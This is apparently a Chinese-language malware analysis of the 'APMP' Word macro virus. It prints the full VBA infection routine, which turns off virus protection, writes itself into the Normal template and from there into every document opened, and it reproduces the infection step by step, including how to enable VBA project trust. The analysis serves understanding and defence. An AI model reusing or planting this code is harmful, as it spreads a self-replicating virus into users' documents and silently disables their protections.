给活动文档插入恶意代码的感染模板框架

将代码(可以是恶意的)保存到模板(NormalTemplate)中,插入到打开的Office文件(ActiveDocument):

  1. 'APMP
  2. 'KILL
  3. Private Sub Document_Open()
  4. On Error Resume Next
  5. Application.DisplayStatusBar = False
  6. Options.VirusProtection = False
  7. Options.SaveNormalPrompt = False
  8. MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
  9. Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
  10. If ThisDocument = NormalTemplate Then _
  11. Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
  12. With Host
  13. If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
  14. .DeleteLines 1, .CountOfLines
  15. .InsertLines 1, MyCode
  16. If ThisDocument = NormalTemplate Then _
  17. ActiveDocument.SaveAs ActiveDocument.FullName
  18. End If
  19. End With
  20. End Sub

宏代码解读

结论先行

感染型代码,无危害。
根据搜索结果的分布,大部分集中在论文类学术类的文档中,看起来像是大学的毕业论文课题?

代码逻辑

感染标记

Line1:’APMP+Line2:’KILL:感染标记,在Line13时用来检测

宏代码框架

Document_Open:隐藏并且自动启动的函数

隐藏设置

  1. On Error Resume Next:如果这句代码出现错误,就忽略掉这句,继续执行下一句代码
  2. Application.DisplayStatusBar = False:隐藏状态条,防止显示宏的运行状态
  3. Options.VirusProtection = False:关闭病毒保护功能
  4. Options.SaveNormalPrompt = False:如果公用模板被修改,不给用户提示窗口而直接保存

    获取代码和对象

  5. MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20):获取当前文档的代码Line01-20

  6. Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule:获取公用模板的代码对象,设置为变量“Set”
  7. If ThisDocument = NormalTemplate Then _:判断当前文档是否等于公用模板对象

    1. 是:
      1. Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule:获取当前活动文档的代码对象
        1. ActiveDocument:具有焦点的文档,用户当前正在查看的文档

          感染检测

  8. With Host:开始对Host进行操作

  9. If .Lines(1, 1) = “APMP” & .Lines(1, 2) <> “KILL” Then:检查是否有感染标志

    删除旧代码写入新代码

  10. 否,未被感染:

    1. .DeleteLines 1, .CountOfLines:应该是省略了主语“Host”,即操作公用模板的代码对象,删除公用模板的所有代码行(从第1行到所有行(CountOfLines))
    2. .InsertLines 1, MyCode:从第1行开始插入代码MyCode

      检测后保存结束

      If ThisDocument = NormalTemplate Then _:判断当前的文档是否等于公用模块
      是: ActiveDocument.SaveAs ActiveDocument.FullName:保存当前活动文档

      复现

      干净的空文件

      空Normal

      未打开恶意文件时,Normal为空:
      image.png
      为了能看到前后区别,在Normal.ThisDocument中手动添加一些字符串作为标记:
      image.png

      打开恶意文件

      原始感染情况

      随意输入一个宏名:
      image.png
      此时Normal的ThisDocument已经被写入(因为恶意代码已运行):
      image.png
      恶意文档的宏代码:
      image.png

      修改感染代码进行复现

      手动修改代码作为标记(演示使用)

      修改一行代码作为区别和提示:
      image.png

      代码删除Normal

      image.png
      image.png

      代码写入Normal

      执行完原始代码后,Normal已经被写入新的代码了:
      image.png
      此时即使原始的恶意代码文档被关了,恶意代码依旧保留在Normal中。
      为了方便理解,此处再将添加的备注“’原始恶意代码”改为“’Normal恶意代码”:
      image.png

      保留在Normal中后打开白文档

      白文档原始数据

      大小为10195KB:
      image.png

      被修改

      插入恶意代码

      打开后查看宏代码,发现已经被插入了Normal中的代码:
      image.png

      文档元数据

      字节从10195变为10210,修改时间接近打开文档的时候(打开后两三秒,恶意代码执行完成,插入后被保存):
      image.png

      在Normal中执行代码

      如果是在Normal中执行代码,有2处“If”会成立。
      接下来会将恶意代码写入到活动文档中(如下文中的“建瓯最坏-空.docx”):
      image.png

      活动文档

      写入一些字符串作为演示参考,无实际意义:
      image.png
      未删除
      此时恶意代码还未执行到删除:
      image.png
      被删除
      执行到删除代码后:
      image.png
      活动文档的ThisDocument被删除:
      image.png
      写入恶意代码
      执行完写入代码:
      image.png
      活动文档被写入了恶意代码:
      image.png

      保存活动文档

      由于恶意代码在Normal中执行,故会保存活动文档,确保被插入的恶意代码被保留在新的文档中,已达到感染的目的:
      image.png
      时间
      此时查看文档时间,可以发现已被修改覆盖:
      image.png

      需要注意的

      文档类型

      docx

      如果是docx类型,无法保留宏代码,无法无痕默认:
      image.png

      doc

      但如果是doc类型,是可以保留宏代码的,所以在执行恶意代码时几乎是无痕完成感染:
      image.png

      不被信任

      如果复现失败,检查是否VBProject是否不被信任:
      image.png

      设置信任

      image.png
      从“Word选项-信任中心-信任中心设置”,勾选“开发人员宏设置-信任对VBA工程对项目模型的访问”即可:
      image.png

      总结

      这个感染是很简单的逻辑,Normal就是代码入门学的交换两个变量的值,需要用到的tmp(作为容器)。
      原恶意文档.恶意宏代码→保存→tmp(Normal)→插入→正常文档.宏代码。

      参考

      Office宏病毒APMP源码